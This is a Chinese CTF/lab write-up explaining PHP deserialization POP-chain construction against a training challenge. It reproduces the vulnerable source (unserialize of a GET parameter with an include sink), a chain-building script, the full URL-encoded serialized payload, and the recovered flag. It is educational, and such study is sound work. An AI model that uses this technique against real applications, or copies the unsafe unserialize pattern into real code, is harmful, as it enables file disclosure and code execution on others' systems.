php反序列化之pop链构造(基于重庆橙子科技靶场)

常见魔术方法的触发

__construct() //创建类对象时调用

__destruct() //对象被销毁时触发

__call() //在对象中调用不可访问的方法时触发

__callStatic() //在静态方式中调用不可访问的方法时触发

__get() //调用类中不存在变量时触发(找有连续箭头的 this->a->b)

__set() //给一个未定义的属性赋值时触发

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__sleep() //使用serialize()时触发

__wakeup() //执行unserialize()时触发

__toString() //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)

__invoke() //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state() //使用var_export()时触发

__clone() //对象复制完成时调用

__autoload() //实例化一个未定义的类时触发

__debugInfo() //使用var_dump时触发

下面基于重庆橙子科技靶场讲解演示

题目源码:

php 复制代码
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

这种有很多类的 PHP 代码多半是需要构造pop链

代码审计:

简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作

这里有三个类:Modifier、Show、Test

先找链尾,即:eval、flag 这些危险函数或者关键字

在第一个类中,找到输出 flag 的地方,发现需要调用append函数

调用append函数往上看发现需要触发 __invoke()

该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)

在 Test 类中找到

再网上看发现需要触发__get()

调用类中不存在变量时触发(找有连续箭头的 this->a->b)

在 Show 类中找到

注意:这里的这个source并不是类Show中的 public $source,而是str下新的一个source。

继续往上发现需要触发__toString()

当对象被当做字符串时自动调用

找 echo , 也在Show类中,但我们也需要再对其实例化一遍

再往上就是__wakeup()函数

执行unserialize()时会自动调用,这里就是链头

按照上述顺序,编写pop链脚本

注意需要给private $var赋初值为flag.php,再通过include文件包含显示出flag的内容

由于这里涉及到私有变量(结果需要添加%00)

因此对结果进行url编码后再输出即可避免这个缺失的问题

php 复制代码
<?php
class Modifier {
    private $var = 'flag.php';
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$m = new  Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s1 = new Show();
$s1->source = $s;
echo urlencode(serialize($s1))

?>

运行结果:

构造payload:

php 复制代码
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

回显flag:

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

相关推荐
ServBay11 小时前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户9623779544814 小时前
CTF 伪协议
php
BingoGo3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack3 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack4 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo5 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack6 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php